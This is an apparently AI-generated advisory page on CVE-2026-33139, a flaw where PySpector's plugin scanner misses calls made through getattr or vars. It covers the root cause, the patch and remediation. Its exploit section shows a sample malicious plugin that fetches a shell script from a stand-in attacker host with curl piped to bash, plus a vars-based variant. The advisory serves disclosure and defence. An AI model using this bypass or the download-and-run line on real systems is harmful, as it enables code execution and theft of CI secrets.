CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-VP22-38M5-R39R
7.80.02%

CVE-2026-33139: Arbitrary Code Execution via Sandbox Bypass in PySpector Plugin Validation

Alon Barad
Alon Barad
Software Engineer

Apr 16, 2026·5 min read·2 visits

PoC Available

Executive Summary (TL;DR)

A fail-open logic flaw in PySpector's AST-based security scanner allows malicious plugins to execute arbitrary code. Attackers can bypass the blocked function list by wrapping dangerous API calls in dynamically resolved functions like getattr.

PySpector versions 0.1.6 and earlier contain a critical vulnerability in the plugin security validation system. An incomplete Abstract Syntax Tree (AST) analysis allows attackers to bypass the restrictive sandbox using indirect function calls. Successful exploitation leads to unauthenticated arbitrary code execution on the system running the static analysis scanner.

Vulnerability Overview

PySpector is a static analysis security testing (SAST) framework that supports custom plugins to extend its analysis capabilities. To prevent malicious plugins from executing harmful operations during the scan process, PySpector implements a security sandbox. This sandbox parses the plugin source code into an Abstract Syntax Tree (AST) and validates the tree against a predefined list of disallowed function calls.

The security validation mechanism heavily relies on the PluginSecurity.validate_plugin_code function, which iterates through the AST nodes to detect restricted APIs such as os.system and subprocess.Popen. This static analysis approach assumes that all function calls can be deterministically resolved to their string representations before execution.

Vulnerability CVE-2026-33139 is a critical failure within this AST resolution logic. The static analyzer fails to correctly identify callables that are returned by other functions. This oversight enables an attacker to construct nested function calls that evade the blocklist, resulting in arbitrary code execution on the machine evaluating the malicious plugin.

Root Cause Analysis

The vulnerability originates in the resolve_name() helper function located in plugin_system.py. This function is responsible for analyzing an ast.Call node and returning the string representation of the underlying callable. The security scanner relies entirely on this string output to verify if the function exists in the DANGEROUS_CALLS blocklist.

In PySpector version 0.1.6 and prior, resolve_name() implements logic exclusively for ast.Name nodes (direct function calls like eval()) and ast.Attribute nodes (module function calls like os.system()). The function does not contain logic to handle ast.Call nodes. When a Python script executes a function that returns another function, the resulting AST represents the outer callable as an ast.Call node.

When resolve_name() encounters this unhandled ast.Call node type, it returns None. The calling validation routine interprets None as a safe, non-blocklisted function and allows the execution to proceed. This fail-open condition permits attackers to obfuscate dangerous function calls using dynamic attribute resolution techniques.

The addition of Python built-ins like getattr and vars compounds the issue. Because these built-ins were omitted from the DANGEROUS_CALLS list, they provide standard, unblocked primitives for constructing dynamic function references that bypass static string matching.

Code Analysis

The vulnerable implementation of resolve_name() processes standard function structures but explicitly lacks recursion. The code assumes the target of a call is always a statically defined name or attribute.

# Vulnerable resolve_name implementation
def resolve_name(node: ast.AST) -> Optional[str]:
    if isinstance(node, ast.Name):
        return node.id
    if isinstance(node, ast.Attribute):
        # Resolves module.attribute logic omitted for brevity
        pass
    # Missing ast.Call handling returns None
    return None

The official patch in version 0.1.7 introduces recursive traversal for ast.Call nodes. By recursively calling resolve_name on node.func, the analyzer effectively steps through nested calls until it identifies the base function name. This ensures that dynamically resolved callables are evaluated against the blocklist.

# Patch snippet resolving the fail-open logic
if isinstance(node, ast.Call):
    inner = resolve_name(node.func)
    if inner:
        return inner

Additionally, the patch expands the DANGEROUS_CALLS array to include vars and getattr. This secondary defense layer prevents attackers from dynamically resolving attributes from imported modules, mitigating similar bypass techniques even if the AST parser were to fail again.

Exploitation

Exploitation requires the victim to install a malicious plugin using the PySpector CLI command pyspector plugin install --trust <path>. The attacker must distribute this plugin and convince a developer or security engineer to integrate it into their analysis pipeline.

The core exploitation technique relies on bypassing the static analysis check using Python's getattr built-in function. The attacker crafts a plugin that imports the os module and dynamically retrieves the system function reference. This reference is then immediately executed with the attacker's payload.

import os
from pyspector.plugins import PySpectorPlugin
 
class MaliciousPlugin(PySpectorPlugin):
    def initialize(self, config):
        getattr(os, 'system')('curl http://attacker.com/shell | bash')
        return True

An alternative exploitation vector utilizes the vars() built-in. By accessing the __dict__ attribute of a module via vars(), the attacker can retrieve dangerous functions using dictionary key lookups. The invocation vars(os)['system']('whoami') produces an AST structure that similarly bypasses the legacy resolve_name() implementation.

Impact Assessment

Successful exploitation grants the attacker arbitrary code execution privileges matching the user context of the PySpector process. Because PySpector is typically executed by developers or integrated into Continuous Integration (CI) pipelines, the resulting access is highly privileged.

Compromising a CI/CD environment allows attackers to extract sensitive secrets, modify build artifacts, or pivot into internal networks. The execution occurs silently during the plugin initialization or finding processing phases, providing no immediate indication of compromise to the operator.

The vulnerability holds a CVSS 3.1 score of 7.8 (High) and a CVSS 4.0 score of 8.3 (High). The severity is driven by the total loss of confidentiality, integrity, and availability on the affected system, constrained only by the local attack vector requirement that a user must actively install the plugin.

Remediation

The primary remediation strategy is upgrading PySpector to version 0.1.7 or later. This release addresses the AST parsing logic and implements a more comprehensive blocklist. Upgrading ensures that all locally installed and newly fetched plugins are subjected to rigorous structural analysis.

Organizations unable to immediately upgrade must manually review the source code of any third-party PySpector plugins before installation. Security teams should look for instances of dynamic attribute resolution, specifically focusing on getattr, vars, eval, and exec usage within the plugin lifecycle hooks.

Version 0.1.7 also includes a secondary security fix addressing a command injection vector in the CLI. The patch enforces strict hostname whitelisting for the --url parameter during git clone operations. Users should verify that automated scripts invoking the PySpector CLI are compatible with this new domain restriction.

Official Patches

PySpectorOfficial patch commit resolving the AST resolution bug.
GitHub AdvisoriesVendor security advisory and mitigation details.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.02%
Top 94% most exploited

Affected Systems

PySpector Plugin Validation Engine

Affected Versions Detail

Product
Affected Versions
Fixed Version
PySpector
ParzivalHack
<= 0.1.60.1.7
AttributeDetail
CWE IDCWE-184 / CWE-693
Attack VectorLocal (via malicious plugin)
CVSS v3.17.8
EPSS Score0.00023
ImpactArbitrary Code Execution
Exploit StatusProof of Concept Available

MITRE ATT&CK Mapping

T1059.006Command and Scripting Interpreter: Python
Execution
T1132.001Data Encoding: Standard Encoding
Defense Evasion
CWE-184
Incomplete List of Disallowed Inputs

The software fails to completely define or maintain the set of disallowed inputs, allowing an attacker to bypass protection mechanisms.

Known Exploits & Detection

Security Researcher Write-upProof of concept demonstrating the use of getattr and vars to execute os.system commands, completely bypassing the AST plugin scanner.

Vulnerability Timeline

Patch v0.1.7 committed and released to PyPI
2026-03-17
Vulnerability disclosed and CVE-2026-33139 published
2026-03-20
GHSA-VP22-38M5-R39R published
2026-03-20
Detailed technical write-up published by researcher Shinigami81
2026-03-25

References & Sources

  • [1]GitHub Global Advisory GHSA-vp22-38m5-r39r
  • [2]Vendor Advisory GHSA-v3xv-8vc3-h2m6
  • [3]Technical Exploit Analysis by Shinigami81
  • [4]NVD Vulnerability Record
  • [5]Official PySpector Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.